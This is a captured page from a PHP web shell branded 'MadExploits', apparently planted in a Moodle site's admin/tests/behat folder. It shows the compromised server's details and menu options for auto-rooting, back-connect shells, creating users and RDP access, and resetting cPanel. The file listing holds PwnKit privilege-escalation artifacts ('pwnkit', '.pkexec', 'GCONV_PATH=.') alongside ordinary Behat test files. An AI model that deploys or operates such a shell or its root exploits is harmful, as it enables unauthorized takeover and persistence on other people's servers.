Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.1.131
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
admin /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_admin.php
4.86
KB
-rw-r--r--
display_short_names.feature
858
B
-rw-r--r--
enable_multiple_accounts_use_s...
3.34
KB
-rw-r--r--
filter_users.feature
4.47
KB
-rw-r--r--
filter_users_settings.feature
9.76
KB
-rw-r--r--
invalid_allcountrycodes.featur...
1.41
KB
-rw-r--r--
language_settings.feature
1.35
KB
-rw-r--r--
manage_tokens.feature
903
B
-rw-r--r--
purge_caches.feature
1.27
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
search_areas.feature
1.02
KB
-rw-r--r--
set_admin_settings_value.featu...
895
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : search_areas.feature
@core @core_admin Feature: Use the search areas admin screen In order to control search indexing As an admin I need to use the search areas admin screen Background: Given I log in as "admin" And I navigate to "Plugins > Search > Search areas" in site administration Scenario: Disable and enable a search area When I click on "Disable" "link" in the "Book - resource information" "table_row" Then I should see "Search area disabled" in the ".alert-success" "css_element" And I should see "Search area disabled" in the "Book - resource information" "table_row" When I click on "Enable" "link" in the "Book - resource information" "table_row" Then I should see "Search area enabled" in the ".alert-success" "css_element" And I should not see "Search area disabled" in the "Book - resource information" "table_row" # Note: Other scenarios are not currently easy to implement in Behat because there is no mock # search engine - we could add testing once Moodle has an internal database search engine.
Close
